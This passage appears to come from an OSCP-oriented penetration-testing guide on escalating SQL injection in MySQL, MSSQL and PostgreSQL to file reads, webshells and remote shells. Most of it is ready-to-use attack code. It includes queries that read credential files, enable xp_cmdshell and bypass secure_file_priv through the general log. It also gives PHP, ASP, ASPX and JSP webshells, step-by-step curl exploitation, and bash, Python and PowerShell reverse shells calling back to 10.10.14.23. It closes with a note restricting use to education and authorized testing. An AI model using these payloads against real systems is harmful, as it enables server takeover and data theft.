SELECT SYSTEM_USER();

-- Try to read common config files that contain paths
SELECT LOAD_FILE('/etc/apache2/apache2.conf');
SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');
SELECT LOAD_FILE('/etc/nginx/nginx.conf');
SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');
SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf');

-- Read virtual host configs
SELECT LOAD_FILE('/etc/apache2/sites-available/000-default.conf');
SELECT LOAD_FILE('/etc/apache2/sites-enabled/default');

-- Read PHP config for upload dirs
SELECT LOAD_FILE('/etc/php.ini');
SELECT LOAD_FILE('/etc/php/7.4/apache2/php.ini');
SELECT LOAD_FILE('/etc/php/8.0/apache2/php.ini');

-- Read .htaccess for path info
SELECT LOAD_FILE('/var/www/html/.htaccess');

-- Read application config files
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('/var/www/html/config/database.php');
SELECT LOAD_FILE('/var/www/html/wp-config.php');
SELECT LOAD_FILE('/var/www/html/application/config/database.php');
SELECT LOAD_FILE('/var/www/html/app/config/database.yml');
SELECT LOAD_FILE('/var/www/html/config/database.yml');
SELECT LOAD_FILE('/var/www/html/.env');
SELECT LOAD_FILE('/var/www/html/config/.env');

-- Windows: Read IIS config
SELECT LOAD_FILE('C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config');
SELECT LOAD_FILE('C:\\inetpub\\wwwroot\\web.config');

-- Read bash history for path clues
SELECT LOAD_FILE('/root/.bash_history');
SELECT LOAD_FILE('/home/admin/.bash_history');
SELECT LOAD_FILE('/home/www-data/.bash_history');

MSSQL Path Discovery

-- Get default data directory
SELECT SERVERPROPERTY('InstanceDefaultDataPath');
SELECT SERVERPROPERTY('InstanceDefaultLogPath');

-- Get SQL Server root directory
SELECT SERVERPROPERTY('InstanceName');
SELECT SERVERPROPERTY('ServerName');

-- Get master database path
SELECT filename FROM master..sysdatabases WHERE name = 'master';

-- Get all database paths
SELECT name, filename FROM master..sysdatabases;

-- Get file paths from current database
SELECT name, physical_name FROM sys.database_files;

-- Get all filegroups and their paths
SELECT data_space_id, name FROM sys.filegroups;
SELECT fg.name AS filegroup, df.name AS file_name, df.physical_name
FROM sys.filegroups fg
JOIN sys.database_files df ON fg.data_space_id = df.data_space_id;

-- Use xp_cmdshell to discover paths
EXEC xp_cmdshell 'dir C:\inetpub\wwwroot';
EXEC xp_cmdshell 'dir C:\xampp\htdocs';
EXEC xp_cmdshell 'dir C:\wamp\www';
EXEC xp_cmdshell 'systeminfo';
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig /all';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'net localgroup administrators';

-- Read IIS config
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\inetsrv\config\applicationHost.config', SINGLE_BLOB) AS T;

PostgreSQL Path Discovery

-- Get data directory
SHOW data_directory;
-- Returns: '/var/lib/postgresql/14/main' or similar

-- Get config file location
SHOW config_file;
SHOW hba_file;
SHOW ident_file;

-- Get external utilities directory
SHOW external_pid_directory;

-- Get temp file location
SHOW temp_buffers;
SHOW temp_file_limit;

-- List data directory contents
SELECT pg_ls_dir('.');
SELECT pg_ls_dir('base');

-- Read PostgreSQL config for path info
SELECT pg_read_file('postgresql.conf');
SELECT pg_read_file('pg_hba.conf');

-- Try to read system files (if superuser)
SELECT pg_read_file('/etc/passwd');

5. Webshell Payloads

PHP Reverse Shell

<?php
// Basic reverse shell
$sock = fsockopen("10.10.14.23", 443);
$proc = proc_open("bash -i", array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
while (!feof($sock) && !feof($proc)) {
    $sock_s = stream_get_contents($sock);
    if (!empty($sock_s)) {
        fwrite($pipes[0], $sock_s);
    }
    $out = stream_get_contents($pipes[1]);
    if (!empty($out)) {
        fwrite($sock, $out);
    }
}
fclose($sock);
fclose($proc);
?>

PHP Reverse Shell (Compact)

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.23/443 0>&1'"); ?>

PHP Reverse Shell (One-Liner for INTO OUTFILE)

-- Compact reverse shell for INTO OUTFILE
SELECT '<?php exec("/bin/bash -c ''bash -i >& /dev/tcp/10.10.14.23/443 0>&1''"); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Using system()
SELECT '<?php system("bash -i >& /dev/tcp/10.10.14.23/443 0>&1"); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- Using passthru()
SELECT '<?php passthru("bash -i >& /dev/tcp/10.10.14.23/443 0>&1"); ?>' INTO OUTFILE '/var/www/html/shell.php';

PHP Reverse Shell (Sockets)

<?php
// Full socket-based reverse shell
$ip = '10.10.14.23';
$port = 443;
$sock = fsockopen($ip, $port);
if ($sock) {
    fwrite($sock, "Shell connected!\n");
    while (!feof($sock)) {
        fwrite($sock, "shell> ");
        $cmd = fread($sock, 1024);
        if (trim($cmd) === "exit") break;
        $output = shell_exec($cmd);
        fwrite($sock, $output . "\n");
    }
    fclose($sock);
}
?>

PHP Command Execution Shell

<?php
// Basic command execution
system($_GET["cmd"]);
?>

PHP Command Shell (Enhanced)

<?php
// Enhanced command shell with output formatting
if (isset($_GET["cmd"])) {
    echo "<pre>";
    system($_GET["cmd"]);
    echo "</pre>";
}
?>

PHP Command Shell (Multiple Functions)

<?php
// Multi-function command shell
if (isset($_GET["cmd"])) {
    $cmd = $_GET["cmd"];
    echo "<pre>";
    // Try different execution methods
    if (function_exists("system")) {
        system($cmd);
    } elseif (function_exists("exec")) {
        exec($cmd, $output);
        echo implode("\n", $output);
    } elseif (function_exists("passthru")) {
        passthru($cmd);
    } elseif (function_exists("shell_exec")) {
        echo shell_exec($cmd);
    } elseif (function_exists("popen")) {
        $fp = popen($cmd, "r");
        while (!feof($fp)) {
            echo fread($fp, 1024);
        }
        pclose($fp);
    } elseif (function_exists("proc_open")) {
        $proc = proc_open($cmd, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
        echo stream_get_contents($pipes[1]);
        proc_close($proc);
    }
    echo "</pre>";
}
?>

PHP Command Shell (For INTO OUTFILE)

-- Simple command shell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- With output formatting
SELECT '<?php if(isset($_GET["cmd"])){echo "<pre>";system($_GET["cmd"]);echo "</pre>";} ?>' INTO OUTFILE '/var/www/html/shell.php';

-- With base64 encoding (bypasses some WAFs)
SELECT '<?php eval(base64_decode($_GET["c"])); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- Usage: ?c=ZXZhbCgkX0dFVFsiYyJdKTs= (eval($_GET["c"]);)

-- With assert
SELECT '<?php assert($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- With create_function
SELECT '<?php $f=create_function("","$_GET[cmd]");$f(); ?>' INTO OUTFILE '/var/www/html/shell.php';

ASP Classic Shell

<%
' Basic ASP command shell
If Request("cmd") <> "" Then
    Set objShell = Server.CreateObject("WScript.Shell")
    Set objExec = objShell.Exec(Request("cmd"))
    Set objStdOut = objExec.StdOut
    Response.Write "<pre>" & Server.HTMLEncode(objStdOut.ReadAll()) & "</pre>"
End If
%>

ASP Classic Shell (Compact)

<% Execute(Request("cmd")) %>

ASP Classic Shell (For INTO OUTFILE)

-- Compact ASP shell
SELECT '<% Execute(Request("cmd")) %>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

-- With command execution
SELECT '<% Set x=CreateObject("WScript.Shell"):Set y=x.Exec(Request("cmd")):Response.Write(y.StdOut.ReadAll()) %>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

-- With Server.Execute
SELECT '<% Server.Execute(Request("cmd")) %>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

ASPX Shell

<%@ Page Language="C#" %>
<%
    if (Request["cmd"] != null) {
        System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo {
            FileName = "cmd.exe",
            Arguments = "/c " + Request["cmd"],
            RedirectStandardOutput = true,
            UseShellExecute = false,
            CreateNoWindow = true
        };
        System.Diagnostics.Process proc = new System.Diagnostics.Process { StartInfo = psi };
        proc.Start();
        Response.Write("<pre>" + Server.HtmlEncode(proc.StandardOutput.ReadToEnd()) + "</pre>");
    }
%>

ASPX Shell (Compact)

<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(Request["cmd"])).StandardOutput.ReadToEnd());%>

ASPX Shell (For INTO OUTFILE)

-- Compact ASPX shell
SELECT '<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(Request["cmd"])).StandardOutput.ReadToEnd());%>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.aspx';

-- Alternative ASPX shell
SELECT '<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.ProcessStartInfo(Request["c"]).Start().StandardOutput.ReadToEnd());%>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.aspx';

JSP Shell

<%@ page import="java.io.*" %>
<%
    if (request.getParameter("cmd") != null) {
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        InputStream is = p.getInputStream();
        BufferedReader br = new BufferedReader(new InputStreamReader(is));
        String line;
        out.println("<pre>");
        while ((line = br.readLine()) != null) {
            out.println(line);
        }
        out.println("</pre>");
    }
%>

JSP Shell (Compact)

<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

JSP Shell (For INTO OUTFILE)

-- Note: JSP files need to be written to a Java web app directory
-- Common paths: /var/lib/tomcat7/webapps/ROOT/, /opt/tomcat/webapps/ROOT/

SELECT '<%@ page import="java.io.*" %><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));InputStream is=p.getInputStream();BufferedReader br=new BufferedReader(new InputStreamReader(is));String line;out.println("<pre>");while((line=br.readLine())!=null){out.println(line);}out.println("</pre>");%>' INTO OUTFILE '/var/lib/tomcat7/webapps/ROOT/shell.jsp';

6. secure_file_priv Bypass Techniques

Understanding the Restriction

The secure_file_priv system variable controls where MySQL can read/write files:

Value Meaning
'' (empty string) No restriction - can read/write anywhere
NULL File operations completely disabled
'/path/' Can only read/write within this directory
-- Check current setting
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT @@secure_file_priv;

Workarounds When Set to Specific Directory

Write to the Allowed Directory

-- If secure_file_priv = '/tmp/'
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/tmp/shell.php';

-- If secure_file_priv = '/var/lib/mysql-files/'
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql-files/shell.php';

-- Then access via symlink or include
-- Create symlink from web root to allowed directory (if possible via other means)

If you can create a symlink in the web directory pointing to the secure_file_priv directory:

# On the server (if you have shell access via another vector)
ln -s /var/lib/mysql-files/ /var/www/html/mysql-files

# Then write via SQLi
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql-files/shell.php';

# Access at: http://target/var/www/html/mysql-files/shell.php

Upload Directory Technique

If the secure_file_priv directory is accessible via the web:

-- If secure_file_priv = '/var/www/html/uploads/'
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php';

-- Access at: http://target/uploads/shell.php

General Log File Technique

This is the most powerful bypass when secure_file_priv blocks direct file writes.

Concept

MySQL’s general query log records all queries. By redirecting this log to a web-accessible location, you can write arbitrary content (including PHP code) by executing it as a query.

Step-by-Step

-- Step 1: Check if general log is enabled
SHOW VARIABLES LIKE 'general_log';
SHOW VARIABLES LIKE 'general_log_file';
SHOW VARIABLES LIKE 'log_output';

-- Step 2: Enable general log (if not already enabled)
SET GLOBAL general_log = 'ON';

-- Step 3: Change the log file to a web-accessible PHP file
SET GLOBAL general_log_file = '/var/www/html/shell.php';

-- Step 4: Ensure log_output includes 'FILE'
SET GLOBAL log_output = 'FILE';

-- Step 5: Execute the PHP payload as a query (it gets logged to the file)
SELECT '<?php system($_GET["cmd"]); ?>';

-- Step 6: Access the webshell
-- http://target/shell.php?cmd=id

-- Step 7: Clean up (optional)
SET GLOBAL general_log = 'OFF';

General Log File Technique (Advanced)

-- Write a more complex payload
SET GLOBAL general_log_file = '/var/www/html/shell.php';
SET GLOBAL general_log = 'ON';

-- The SELECT statement itself gets logged
SELECT '<?php system($_GET["cmd"]); ?>';

-- For a reverse shell
SELECT '<?php exec("/bin/bash -c ''bash -i >& /dev/tcp/10.10.14.23/443 0>&1''"); ?>';

-- For a base64-encoded payload
SELECT '<?php eval(base64_decode($_GET["c"])); ?>';

General Log File Technique (Windows)

-- Windows path
SET GLOBAL general_log_file = 'C:\\inetpub\\wwwroot\\shell.php';
SET GLOBAL general_log = 'ON';
SELECT '<?php system($_GET["cmd"]); ?>';

-- XAMPP path
SET GLOBAL general_log_file = 'C:\\xampp\\htdocs\\shell.php';
SET GLOBAL general_log = 'ON';
SELECT '<?php system($_GET["cmd"]); ?>';

Requirements for General Log Technique

  1. SUPER or SYSTEM_VARIABLES_ADMIN privilege (to change global variables)
  2. The MySQL process must have write access to the target directory
  3. The target path must be web-accessible

Checking Privileges for General Log

-- Check if you have SUPER privilege
SELECT Super_priv FROM mysql.user WHERE User = CURRENT_USER();

-- Check all privileges
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;

-- Check if you can modify global variables
SET GLOBAL general_log = 'ON';
-- If this works, you have the required privilege

Slow Query Log Technique (Alternative)

-- Similar to general log but uses slow query log
SHOW VARIABLES LIKE 'slow_query_log';
SHOW VARIABLES LIKE 'slow_query_log_file';

-- Enable slow query log
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL slow_query_log_file = '/var/www/html/shell.php';
SET GLOBAL long_query_time = 0; -- Log all queries

-- Execute payload (will be logged)
SELECT '<?php system($_GET["cmd"]); ?>';

-- Clean up
SET GLOBAL slow_query_log = 'OFF';

Requirements for Slow Query Log Technique

  1. SUPER or SYSTEM_VARIABLES_ADMIN privilege
  2. Same file access requirements as general log technique

Other Bypass Techniques

UDF (User-Defined Function) Technique

-- If you can write to the plugin directory
SELECT @@plugin_dir;

-- Write a UDF DLL/SO to the plugin directory
-- Then create a function that executes system commands
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll';
SELECT sys_exec('whoami');
-- If MySQL can create symlinks (rare, requires specific config)
-- Create a symlink from secure_file_priv dir to web root
-- Then write through the symlink

Exploiting Application Logic

-- If the application reads/writes files based on user input
-- Combine SQLi with file inclusion vulnerabilities
-- Example: SQLi to write to upload dir, then LFI to include it

7. Complete Walkthrough

Scenario: MySQL Web Application with SQLi to Webshell

Step 1: Identify SQL Injection

# Test for SQLi
curl "http://target/vuln.php?id=1'-- -"
curl "http://target/vuln.php?id=1' AND '1'='1"
curl "http://target/vuln.php?id=1' AND '1'='2"

# Test for UNION-based SQLi
curl "http://target/vuln.php?id=1' ORDER BY 1-- -"
curl "http://target/vuln.php?id=1' ORDER BY 2-- -"
curl "http://target/vuln.php?id=1' ORDER BY 3-- -"
curl "http://target/vuln.php?id=1' ORDER BY 4-- -"
# Find the number of columns

# Confirm with UNION
curl "http://target/vuln.php?id=1' UNION ALL SELECT 1,2,3,4-- -"

Step 2: Gather Database Information

# Get database version and OS
curl "http://target/vuln.php?id=1' UNION ALL SELECT VERSION(),@@version_compile_os,@@datadir,@@secure_file_priv-- -"

# Get current user
curl "http://target/vuln.php?id=1' UNION ALL SELECT CURRENT_USER(),USER(),SYSTEM_USER(),SESSION_USER()-- -"

# Check FILE privilege
curl "http://target/vuln.php?id=1' UNION ALL SELECT FILE_priv,(SELECT FILE_priv FROM mysql.user WHERE User=CURRENT_USER()),3,4-- -"

# Check secure_file_priv
curl "http://target/vuln.php?id=1' UNION ALL SELECT @@secure_file_priv,@@datadir,@@tmpdir,@@plugin_dir-- -"

Step 3: Read System Files

# Read /etc/passwd
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/etc/passwd'),2,3,4-- -"

# Read MySQL config for credentials
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/etc/mysql/my.cnf'),2,3,4-- -"

# Read Apache config for web path
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf'),2,3,4-- -"

# Read application config
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/var/www/html/config.php'),2,3,4-- -"

Step 4: Determine Web Path

# Method 1: Read Apache config
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf'),2,3,4-- -"
# Look for DocumentRoot directive

# Method 2: Read PHP config
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/etc/php.ini'),2,3,4-- -"

# Method 3: Try common paths
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/var/www/html/index.php'),2,3,4-- -"

# Method 4: Use error messages
curl "http://target/vuln.php?id=1' UNION ALL SELECT LOAD_FILE('/nonexistent'),2,3,4-- -"
# Error may reveal path structure

Step 5: Write Webshell

# Method 1: Direct INTO OUTFILE (if secure_file_priv allows)
curl "http://target/vuln.php?id=1' UNION ALL SELECT '<?php system($_GET[\"cmd\"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php'-- -"

# Method 2: INTO DUMPFILE (cleaner output)
curl "http://target/vuln.php?id=1' UNION ALL SELECT '<?php system($_GET[\"cmd\"]); ?>',2,3 INTO DUMPFILE '/var/www/html/shell.php'-- -"

# Method 3: General log file technique (bypasses secure_file_priv)
# First, redirect the log
curl "http://target/vuln.php?id=1'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SET GLOBAL general_log = 'ON';-- -"

# Then write the payload
curl "http://target/vuln.php?id=1'; SELECT '<?php system($_GET[\"cmd\"]); ?>';-- -"

# Clean up
curl "http://target/vuln.php?id=1'; SET GLOBAL general_log = 'OFF';-- -"

Step 6: Access the Webshell

# Test the webshell
curl "http://target/shell.php?cmd=id"
curl "http://target/shell.php?cmd=whoami"
curl "http://target/shell.php?cmd=uname -a"
curl "http://target/shell.php?cmd=cat /etc/passwd"

# Get a reverse shell
curl "http://target/shell.php?cmd=bash -i >& /dev/tcp/10.10.14.23/443 0>&1"

# Or use a more reliable reverse shell
curl "http://target/shell.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.23\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"

Step 7: Privilege Escalation

# Via webshell, check for privesc vectors
curl "http://target/shell.php?cmd=cat /etc/crontab"
curl "http://target/shell.php?cmd=ls -la /usr/bin/sudo"
curl "http://target/shell.php?cmd=find / -perm -4000 2>/dev/null"
curl "http://target/shell.php?cmd=uname -a"
curl "http://target/shell.php?cmd=cat /proc/version"

Scenario: MSSQL to Webshell

Step 1: Identify SQL Injection

# Test for SQLi in MSSQL
curl "http://target/vuln.aspx?id=1'-- -"
curl "http://target/vuln.aspx?id=1' AND 1=1-- -"
curl "http://target/vuln.aspx?id=1' AND 1=2-- -"

# Test for stacked queries
curl "http://target/vuln.aspx?id=1'; WAITFOR DELAY '0:0:5'-- -"

Step 2: Enable xp_cmdshell

# Enable advanced options and xp_cmdshell
curl "http://target/vuln.aspx?id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE;-- -"

Step 3: Execute Commands

# System information
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'whoami';-- -"
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'systeminfo';-- -"
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'ipconfig /all';-- -"

# Find web root
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'dir C:\inetpub\wwwroot';-- -"
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'dir C:\xampp\htdocs';-- -"

Step 4: Write Webshell

# Write PHP webshell
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'echo ^<?php system($_GET[\"cmd\"]); ?^> > C:\inetpub\wwwroot\shell.php';-- -"

# Write ASP webshell
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'echo ^<% Execute(Request(\"cmd\")) %^> > C:\inetpub\wwwroot\shell.asp';-- -"

# Write using PowerShell
curl "http://target/vuln.aspx?id=1'; EXEC xp_cmdshell 'powershell -Command \"Set-Content -Path C:\inetpub\wwwroot\shell.php -Value '<?php system(\$_GET[\"cmd\"]); ?>'\";-- -"

Step 5: Access Webshell

# Test the webshell
curl "http://target/shell.php?cmd=whoami"
curl "http://target/shell.asp?cmd=whoami"

# Get reverse shell
curl "http://target/shell.php?cmd=powershell -nop -exec bypass -c \$client=New-Object System.Net.Sockets.TCPClient('10.10.14.23',443);\$stream=\$client.GetStream();[byte[]]\$bytes=0..65535|%{0};while((\$i=\$stream.Read(\$bytes,0,\$bytes.Length))-ne0){;\$data=(New-Object-TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0,\$i);\$sendback=(iex \$data 2>&1|Out-String);\$sendback2=\$sendback+'PS'+(pwd).Path+' > ';\$sendbyte=([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()"

Scenario: PostgreSQL to Webshell

Step 1: Identify SQL Injection

# Test for SQLi in PostgreSQL
curl "http://target/vuln.php?id=1'-- -"
curl "http://target/vuln.php?id=1' AND TRUE-- -"
curl "http://target/vuln.php?id=1' AND FALSE-- -"

# Test for stacked queries
curl "http://target/vuln.php?id=1'; SELECT pg_sleep(5)-- -"

Step 2: Check Privileges

# Check if superuser
curl "http://target/vuln.php?id=1' UNION ALL SELECT usesuper FROM pg_user WHERE usename=current_user-- -"

# Get data directory
curl "http://target/vuln.php?id=1' UNION ALL SELECT current_setting('data_directory')-- -"

Step 3: Write Webshell via COPY

# If superuser, use COPY TO
curl "http://target/vuln.php?id=1'; COPY (SELECT '<?php system($_GET[\"cmd\"]); ?>') TO '/var/www/html/shell.php';-- -"

# Alternative with CREATE TABLE
curl "http://target/vuln.php?id=1'; CREATE TEMP TABLE shell(data TEXT); INSERT INTO shell VALUES('<?php system($_GET[\"cmd\"]); ?>'); COPY shell TO '/var/www/html/shell.php'; DROP TABLE shell;-- -"

Step 4: Access Webshell

curl "http://target/shell.php?cmd=id"
curl "http://target/shell.php?cmd=whoami"

Quick Reference Cheat Sheet

MySQL File Operations

-- Read file
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);  -- Hex encoded

-- Write file
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';

-- Check privileges
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT FILE_priv FROM mysql.user WHERE User = CURRENT_USER();

-- General log bypass
SET GLOBAL general_log_file = '/var/www/html/shell.php';
SET GLOBAL general_log = 'ON';
SELECT '<?php system($_GET["cmd"]); ?>';

MSSQL File Operations

-- Read file
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS T;

-- Write via xp_cmdshell
EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php';

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

PostgreSQL File Operations

-- Read file (pg_data only)
SELECT pg_read_file('PG_VERSION');

-- Write file (superuser required)
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

Common Web Paths

Linux:
  /var/www/html/
  /var/www/
  /usr/share/nginx/html/
  /home/username/public_html/

Windows:
  C:\inetpub\wwwroot\
  C:\xampp\htdocs\
  C:\wamp\www\

Webshell Access

PHP:    http://target/shell.php?cmd=id
ASP:    http://target/shell.asp?cmd=whoami
ASPX:   http://target/shell.aspx?cmd=whoami
JSP:    http://target/shell.jsp?cmd=id

Important Notes for OSCP

  1. Always check secure_file_priv first - it determines if direct file writes are possible
  2. General log technique is your best bypass when secure_file_priv is restrictive
  3. Use INTO DUMPFILE over INTO OUTFILE for webshells to avoid line terminator issues
  4. Hex encoding paths helps bypass WAF filters
  5. Always verify the web path before writing a webshell
  6. Test with a simple file first before deploying a complex webshell
  7. Clean up after yourself - disable general log, remove test files
  8. For MSSQL, xp_cmdshell is king - enables full command execution
  9. For PostgreSQL, superuser is almost always required for file operations
  10. Document every step for your report - paths, payloads, and techniques used

Practice Labs

Try these techniques on:

  • DVWA (SQL Injection module)
  • bWAPP (SQL Injection vulnerabilities)
  • OWASP WebGoat (SQL Injection lessons)
  • HackTheBox machines with SQLi vulnerabilities
  • TryHackMe rooms: SQLi, Web Hacking

Last Updated: 2026-09-01 This guide is for educational and authorized penetration testing purposes only.